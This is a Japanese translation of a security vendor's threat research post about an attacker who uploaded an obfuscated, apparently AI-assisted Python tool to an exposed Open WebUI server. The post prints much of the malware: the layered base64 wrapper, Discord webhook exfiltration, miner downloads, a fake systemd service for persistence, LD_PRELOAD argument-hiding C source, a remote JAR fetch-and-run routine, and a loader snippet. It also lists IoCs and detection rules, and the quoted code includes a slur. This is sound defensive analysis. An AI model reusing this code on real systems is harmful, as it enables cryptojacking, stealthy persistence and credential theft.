Sysdigの脅威リサーチチーム(TRT)は最近、大規模言語モデル(LLM)を強化するために使われる拡張可能なセルフホスト型AIインターフェースを提供する人気アプリケーション(GitHubで95kスター)のOpen WebUIをホストする、設定不備のシステムを標的にする悪意ある脅威アクターを観測しました。アクセスを得た攻撃者は、悪意あるコードを注入し、暗号資産マイナーをダウンロードできました。本ブログでは、攻撃の詳細分析を掘り下げ、振る舞いベースおよびIoCベースの検知手段を複数提示します。
要点
- Open WebUIが誤ってインターネットに公開され、さらに管理者アクセスを許可する設定になっていました。
- 攻撃者により悪意あるAI生成のPythonスクリプトがアップロードされ、LinuxとWindowsを標的とするOpen WebUI Toolsを用いて実行されました。
- Windowsのペイロードは高度で、ほとんど検知できません。
- コマンド&コントロール(C2)にDiscordのWebhookが悪用され、暗号資産マイナーがダウンロードされました。
- 攻撃者は活動を隠すため、あまり見られない防御回避ツールを使用しましたが、Sysdigの標準搭載のリアルタイム検知がこれを捕捉しました。
初期アクセス
Sysdig TRTは、Open WebUIを実行する顧客のトレーニングシステムが、管理者権限かつ認証なしで誤ってインターネットに公開されていることを特定しました。インターネットへの露出により、誰でもシステム上でコマンドを実行できる状態となっており――攻撃者がよく理解し、積極的にスキャンしている危険なミスです。攻撃者が公開されたトレーニングシステムを発見すると、LLMの機能を拡張するためのプラグインシステムであるOpen WebUI Toolsの利用を開始しました。Open WebUIでは、LLMが機能拡張に利用できるようPythonスクリプトをアップロードできます。
Open WebUI Toolとしてアップロードされると、悪意あるPythonコードが実行されました。攻撃者はUIを手動で操作するのではなく、自動化スクリプトでToolを追加した可能性が高いです。Open WebUIがインターネットに公開されていること自体は珍しくありません。以下のShodanクエリが示すように、現在17,000超のインスタンスが掲載されています。ただし、そのうちどれだけが設定不備であるか、または他の脆弱性の影響を受けやすいかは不明です。
技術分析
攻撃者は、既定テンプレートの1つに基づくOpen WebUI Toolをアップロードしましたが、末尾に悪意あるPythonコードを追加していました。コードはPyObfuscatorで難読化されています。Sysdig TRTはこの増加傾向にある手法をpyklumpと名付けました。以下に示します。
_ = lambda __: __import__("zlib").decompress(__import__("base64").b64decode(__[::-1]))
exec( (_)( <base64code> ) )
Open WebUIに読み込まれると、悪意あるコードが実行され、攻撃が継続しました。圧縮されたBase64の逆順難読化は64層の深さがあるため、可読なPython平文を得るには文字列を再帰的にデコードする必要がありました。私たちは以下のPython pyklumpデコーダースクリプトを使用しました。
_ = lambda __: __import__("zlib").decompress(__import__("base64").b64decode(__[::-1]))
x = (_)( <base64code>)
while "exec(" in x.decode():
x = x.decode().replace("exec((_)(b","")
x = x.replace("))","")
x = (_)(x)
print(x)
得られたPythonスクリプトが、攻撃者の主要ペイロードでした。このスクリプトは複数の処理を行います。
- 暗号資産マイナーをダウンロードして実行
- ステルスのために
processhiderとargvhiderをコンパイル - 永続化のためのサービスを作成
- Discordへ通知を送信
AI支援ペイロード
コードを確認してすぐ、どこか不自然に感じました。コードにはLLM特有の「独特」なスタイルがあります。例えば以下のコードは、DiscordのWebhookを利用して被害者情報をチャンネルへ送信しますが、インラインのフォーマット文字列変数に強く依存しています。このパターンは、ハッカーの間では珍しいにもかかわらず、スクリプト全体で共通して見られます。このようにLLMを使うことで、攻撃ツールの開発は大幅に迅速化します。
HOOK = "https://canary.discord.com/api/webhooks/1357293459207356527/GRsqv7AQyemZRuPB1ysrPUstczqL4OIi-I7RibSQtGS849zY64H7W_-c5UYYtrDBzXiq"
msg = f"""starting instance: `{check_ip()}` (worker_id: `{worker_id}`)
nvidia-smi output:
{subprocess.getoutput("nvidia-smi")}
sys.platform output:
{sys.platform}
1: `{str(prochider_res)}`, 2: `{str(argvhider_res)}`
whoami:
{subprocess.getoutput("whoami")}
Identifier: {ID}
Path: {source_path}
"""
log(msg)
Sysdig TRTはコードの一部をChatGPTコード検出器で確認し、その結果は次のとおりでした。
AI生成またはAIによる強い支援が入っている可能性が非常に高い(約85~90%)。エッジケースへの綿密な配慮、バランスの取れたクロスプラットフォームのロジック、構造化されたdocstring、一貫したフォーマットが、その方向性を強く示しています。
一部のコードが人手で生成されたことは確認できたため、コード検出器の結果は「完全にAIで作られたわけではない」という点で正確でした。
Linuxの攻撃経路
以下の図は、Linuxでコードが実行される際の攻撃経路を視覚的に表したものです。
スクリプトは、ペイロードの残りを実行する前に、被害者のホームディレクトリに基づいて自身を隠しフォルダ.configへコピーします。
dest_dir = os.path.join(os.path.expanduser("~"), ".config")
def copy_self():
os.makedirs(dest_dir, exist_ok=True)
shutil.copy2(source_path, destination_path)
return True
クリプトジャッキング
次にスクリプトは、ネットワークベースの検知を回避するためにgh-proxyを使用して、T-RexとXMRigの2つの暗号資産マイナーをダウンロードします。これら攻撃者が選ぶ暗号資産はMoneroとKawpowで、それぞれ「pool.supportxmr[.]com:443」および「rvn.2miners[.]com:6060」のマイニングプールを使用します。
def download_miner():
[...]
if sys.platform == "linux":
endpoint = "https://gh-proxy.com/https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-linux.tar.gz"
endpoint2 = "https://gh-proxy.com/https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz"
data = request.urlopen(endpoint).read()
with open(miner_tmp, "wb") as f:
f.write(data)
with tarfile.open(miner_tmp, "r:gz") as f:
f.extractall(extract_tmp)
os.rename(os.path.join(extract_tmp, "t-rex"), executable_path)
data2 = request.urlopen(endpoint2).read()
with open(miner_tmp, "wb") as f:
f.write(data2)
with tarfile.open(miner_tmp, "r:gz") as f:
f.extractall(extract_tmp)
os.rename(os.path.join(extract_tmp, "xmrig-6.22.2", "xmrig"), xmrig_path)
最終的に、Linuxにおけるこのコードの主目的は暗号資産マイニングであり、Sysdig TRTが過去に遭遇した他のキャンペーンと同様です。以下に主要コードを示します。
main_address = "RHXQyAmYhj9sp69UX1bJvP1mDWQTCmt1id"
xmr_address = "45YMpxLUTrFQXiqgCTpbFB5mYkkLBiFwaY4SkV55QeH2VS15GHzfKdaTynf2StMkq2HnrLqhuVP6tbhFCr83SwbWExxNciB"
miner_thread = Thread(target=start_miner, args=(prochider_res, argvhider_res, worker_id))
miner_thread.start()
while True:
kill_miners()
time.sleep(3)
kawpow_thread = Thread(target=kawpow)
monero_thread = Thread(target=monero)
私たちが特定した最初のウォレットには、合計で約700ドルが入っていました。
2つ目のウォレットはMoneroのXMRウォレットで、残高は不明です。
防御回避
このPythonスクリプトには、実行時にコンパイルしようとする2つのインラインCプログラムがソースコードとして含まれていました。どちらも共有オブジェクトとしてコンパイルされ、LD_PRELOADで読み込まれます。
Processhider: このライブラリは暗号資産マイナーのプロセスを隠すことでよく知られています。ハードコードされたプロセス名systemdを持ち、システムコールreaddirおよびreaddir64の結果からそれをフィルタリングします。これにより、lsやpsなど多くのシステムユーティリティからプロセスを隠せます。
Argvhider: この共有オブジェクトはかなりユニークです。システムコールをフックするのではなく、glibcを用いてmain関数をフックします。その後、スタックを改変して前プロセスの引数を取り除き、マイニングプールやウォレットなどの引数を隠します。
注: Sysdig Secureのお客様は、processhiderとargvhiderの両方に対するYaraベースの検知を利用できます。
以下はargvhiderのソースコードです。tem.cとしてコンパイルされpython3.soになり、暗号資産マイナー実行時にLD_PRELOAD引数として追加されます。手順を追って分析すると次のとおりです。
argv[1]から始まる各引数について(通常プログラム名であるargv[0]はスキップ):- mallocとstrcpyで引数を複製します。
- 次にmemsetで元の
argv[i]メモリをゼロで上書きします。 - 最後に
argv[i]を新しいメモリを指すよう更新します。
元の引数はメモリから消去され、/proc/[pid]/cmdline経由の観測者からは見えなくなります。一方で、プログラムは新しいメモリ上の値に引き続きアクセスできます。この手法は、防御回避の追加手段となります。
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
voidhide_arguments(int argc, char **argv)
{
for (int i = 1; i < argc; i++)
{
char *malloced_argument = malloc((strlen(argv[i]) + 1) * sizeof(char));
strcpy(malloced_argument, argv[i]);
memset(argv[i], 0, strlen(argv[i]) * sizeof(char));
argv[i] = malloced_argument;
}
}
int main_hook(int argc, char **argv, char **envp)
{
hide_arguments(argc, argv);
int ret = original_main(argc, argv, envp);
free_arguments(argc, argv);
return ret;
}
int __libc_start_main( int (*main)(int, char **, char **),
int argc,
char **argv,
int (*init)(int, char **, char **),
void (*fini)(void),
void (*rtld_fini)(void),
void *stack_end)
{
original_main = main;
typeof(&__libc_start_main) original_libc_start_main = dlsym(RTLD_NEXT, "__libc_start_main");
return original_libc_start_main(main_hook, argc, argv, init, fini, rtld_fini, stack_end);
}
永続化
スクリプトは永続化のためにsystemdサービスを使用します。「ptorch_updater」という名前は、正規のサービスになりすます意図で使われています。
def create_service():
filepath = os.path.join("/etc/systemd/system", f"{service_name}.service")
content = f"""[Unit]
Description=System Daemon
After=network.target
[Service]
User=root
WorkingDirectory={dest_dir}
ExecStart=python3 {destination_path}
Restart=always
[Install]
WantedBy=multi-user.target
"""
try:
with open(filepath, 'w') as f:
f.write(content)
os.chmod(filepath, stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP | stat.S_IROTH)
subprocess.getoutput("systemctl daemon-reload")
subprocess.getoutput(f"systemctl start {service_name}")
subprocess.getoutput(f"systemctl enable {service_name}")
except Exception as e:
return None
Windowsの攻撃経路
以下の図は、Windowsでコードが実行される際の攻撃経路を視覚的に表したものです。
Windowsの攻撃経路はLinuxのものと似ていますが、ペイロードに到達すると新しい経路に切り替わります。start_miner関数には、マイナーを実行するだけでなく、JDK(Java Development Kit)をインストールして、185.208.159[.]155からダウンロードしたJARファイルを実行する機能が含まれていました。執筆時点では当該ホストはファイルを提供していません。
JAVA_URL = "https://download.visualstudio.microsoft.com/download/pr/e2393a1d-1011-45c9-a507-46b696f6f2a4/a1aedc61f794eb66fbcdad6aaf8a8be3/microsoft-jdk-21.0.6-windows-x64.zip"
YES = "http://185.208.159.155:8000/application-ref.jar"
[...]
def nigger():
java_tmp = os.path.join(tmp_path, "java_archive")
java_dest = os.path.join(tmp_path, "java_bin")
javaw = os.path.join(java_dest, "jdk-21.0.6+7", "bin", "javaw.exe")
yes_dest = os.path.join(tmp_path, "yes.jar")
data = request.urlopen(JAVA_URL).read()
with open(os.path.join(java_tmp), "wb") as f:
f.write(data)
with zipfile.ZipFile(java_tmp, "r") as f:
f.extractall(java_dest)
log("java downloaded")
data = request.urlopen(YES).read()
with open(os.path.join(yes_dest), "wb") as f:
f.write(data)
log("yes downloaded")
log("running yes")
out = subprocess.getoutput(f"{javaw} -jar {yes_dest}")
log(out)
if sys.platform == "win32":
nigger_thread = Thread(target=nigger)
nigger_thread.start()
monero_thread.start()
ダウンロードされたJARファイルapplication-ref.jarは、二次的な悪意あるJARを実行するJavaベースのローダーです。
public classBootLoader{
public staticvoidboot() {
try {
Path fileFromResource = createFileFromResource("META-INF/background.properties", "INT_D.DAT");
Path fileFromResource1 = createFileFromResource("META-INF/LICENSE.ref", "INT_J.DAT");
String agentArgument = String.format("-agentpath:%s=PACKAGE_NAME=native0,KEY=oXPfmN6bYin6peGV", quoteString(fileFromResource.toString()));
ProcessBuilder builder = new ProcessBuilder(newString[]{"java", "-noverify", "-XX:+DisableAttachMechanism", agentArgument, "-jar", quoteString(fileFromResource1.toString())});
Process process = builder.start();
2つのリソースファイル(background.propertiesとLICENSE.ref)が、JARのMETA-INFフォルダから被害者のホームディレクトリへ、それぞれINT_D.DATとINT_J.DATとしてコピーされました。
その後、INT_D.DATがProcessBuilder呼び出しで実行されます。この呼び出しには、新しいプロセスへ渡される不審なパラメータ(PACKAGE_NAME=native0,KEY=oXPfmN6bYin6peGV)が含まれていました。
ProcessBuilderは次の指定で新しいJavaプロセスを起動しました。
-noverify: バイトコード検証をスキップ(セキュリティチェック回避のためマルウェアで一般的)。-XX:+DisableAttachMechanism: 監視とデバッグを妨害。-agentpath: ネイティブエージェントライブラリを読み込み。-jar: INT_J.DATファイルをJARとして実行(ただし、これは実際にはライセンスファイルではなくLICENSE.ref由来である点に注意)。
INT_J.DAT
ハッシュ: 833b989db37dc56b3d7aa24f3ee9e00216f6822818925558c64f074741c1bfd8
VirusTotal検知: 1/68
元のファイル名: LICENSE.ref
このJARに含まれるもの:
- 別のDLL(app_bound_decryptor.dll)
- 複数のインフォスティーラー
- PowershellとWebSocketsを使用し、ハードウェアおよびシステムの探索を行う悪意あるJava
インフォスティーラー
認証情報の窃取は、近年の攻撃者の主要目的の1つです。盗まれたキーは、被害者環境へのさらなる侵入のための追加リソースへのアクセスを攻撃者に与えます。この窃取は、盗んだキーを他の攻撃者に販売してランサムウェアなどの追加攻撃に利用できるため、金銭的動機の重要な要素でもあります。このマルウェアには、Chrome拡張機能やDiscordから認証情報を盗むために使用できるパッケージが含まれています。以下のJSONファイルは、インフォスティーラーの標的を一覧化しています。
また、Discordをハイジャックし、理論上は被害者の認証トークンを盗もうとする悪意あるコードも存在しました。このコードは、攻撃者が関心を持つトークンが含まれる特定URLのリクエストヘッダーへアクセスします。
App_bound_decryptor.dll
ハッシュ: 41774276e569321880aed02b5a322704b14f638b0d0e3a9ed1a5791a1de905db
VirusTotal検知: 2/72
このファイルは64ビットWindows DLLで、以下を行います。
- XORによるエンコード/デコード
- 名前付きパイプの作成、読み取り、書き込み
- サスペンド状態のスレッド作成
- サンドボックス検知
IsProcessorFeaturePresent の呼び出しは、より新しいサンドボックス検知手法です。渡される値 0x17はPF_FASTFAIL_AVAILABLEで、仮想化環境では利用できないことが多いです。
hNamedPipe = CreateNamedPipeA(lpName,3,6,1,5000,5000,0,(LPSECURITY_ATTRIBUTES)0x0);
...
plVar5 = FUN_180002e70(local_13c8,local_13a8);
...
ConnectNamedPipe(hNamedPipe, NULL);
...
ReadFile(hNamedPipe, local_13a8, 5000, ...);
...
BVar2 = IsProcessorFeaturePresent(0x17)
...
BVar2 = IsDebuggerPresent();
脅威検知
このマルウェアはいくつか興味深い手法を展開しますが、LinuxではSysdig Secureにより実行時に容易に検知できます。この種のマルウェアは複数のルールに該当しますが、ここでは2つを取り上げます。1つ目は組み込みのYaraサポートで、悪意ある共有オブジェクトがディスクへ書き込まれる際に検知できます。
- マルウェア検知(YARAルール)
2つ目は、共有オブジェクトがプロセスへロードされることの検知で、攻撃者の手法では特に目立ちます。
- LD_PRELOADライブラリ注入
また、参照されたドメイン名のルックアップを検知する複数の脅威インテリジェンスルールも発火しました。
- Stratumプロトコルを使用する暗号資産マイナーを検知(Sysdig Runtime Threat Intelligence)
- 不審なドメインのDNSルックアップを検知(Sysdig Runtime Notable Events)
- 偵察スクリプトを検知(Sysdig Runtime Threat Detection)
- コンテナ内でコードコンパイラツールを起動(Sysdig Runtime Activity Logs)
結論
Open WebUIのようなシステムがインターネットに公開されてしまう偶発的な設定不備は、依然として深刻な問題です。本インシデントでは、設定不備により攻撃者が悪意あるAI生成Pythonスクリプトをアップロードして実行できました。ペイロードは暗号資産マイナーをダウンロードし、processhiderやargvhiderといった一般的ではない防御回避ツールを使用し、C2にDiscordのWebhookを悪用しました。攻撃者はLinuxとWindowsの両方を標的としており、Windows版には高度なインフォスティーラーと回避手法が含まれていました。最終的に、この作戦で見られたような複雑な脅威を発見し対応するには、多層的な脅威検知を備えたランタイムセキュリティが不可欠です。
侵害指標(IoC)
| 指標名 | 指標タイプ | 指標値 |
|---|---|---|
| application-ref.jar | SHA256 | 1e6349278b4dce2d371db2fc32003b56f17496397d314a89dc9295a68ae56e53 |
| LICENSE.jar | SHA256 | 833b989db37dc56b3d7aa24f3ee9e00216f6822818925558c64f074741c1bfd8 |
| app_bound_decryptor.dll | SHA256 | 41774276e569321880aed02b5a322704b14f638b0d0e3a9ed1a5791a1de905db |
| background.properties | SHA256 | eb00cf315c0cc2aa881e1324f990cc21f822ee4b4a22a74b128aad6bae5bb971 |
| com/example/application/Application.class | SHA256 | 0854a2cb1b070de812b8178d77e27c60ae4e53cdcb19b746edafe22de73dc28a |
| com/example/application/BootLoader.class | SHA256 | f0db47fa28cec7de46a3844994756f71c23e7a5ebef5d5aae14763a4edfcf342 |
| desktop_core.js | SHA256 | 3f37cb419bdf15a82d69f3b2135eb8185db34dc46e8eacb7f3b9069e95e98858 |
| extensions.json | SHA256 | 13d6c512ba9e07061bb1542bb92bec845b37adc955bea5dccd6d7833d2230ff2 |
| 初期Pythonスクリプト | SHA256 | ec99847769c374416b17e003804202f4e13175eb4631294b00d3c5ad0e592a29 |
| python.so | SHA256 | 2f778f905eae2472334055244d050bb866ffb5ebe4371ed1558241e93fee12c4 |
| 悪意あるJARダウンローダーURL | URL | http[:]//185[.]208[.]159[.]155:8000/application-ref.jar |
| XMRIG URL | URL | https[:]//gh-proxy[.]com/https[:]//github[.]com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz |
| T-Rex URL | URL | https[:]//gh-proxy[.]com/https[:]//github[.]com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-linux.tar.gz |
| Discord Webhook | URL | https[:]//canary[.]discord[.]com/api/webhooks/1357293459207356527/GRsqv7AQyemZRuPB1ysrPUstczqL4OIi-I7RibSQtGS849zY64H7W_-c5UYYtrDBzXiq |
| RavenCoinウォレット | ウォレットアドレス | RHXQyAmYhj9sp69UX1bJvP1mDWQTCmt1id |
| Monero XMRウォレット | ウォレットアドレス | 45YMpxLUTrFQXiqgCTpbFB5mYkkLBiFwaY4SkV55QeH2VS15GHzfKdaTynf2StMkq2HnrLqhuVP6tbhFCr83SwbWExxNciB |
| ペイロードIP | IPアドレス | 185.208.159[.]155 |
翻訳元: https://www.sysdig.com/blog/attacker-exploits-misconfigured-ai-tool-to-run-ai-generated-payload








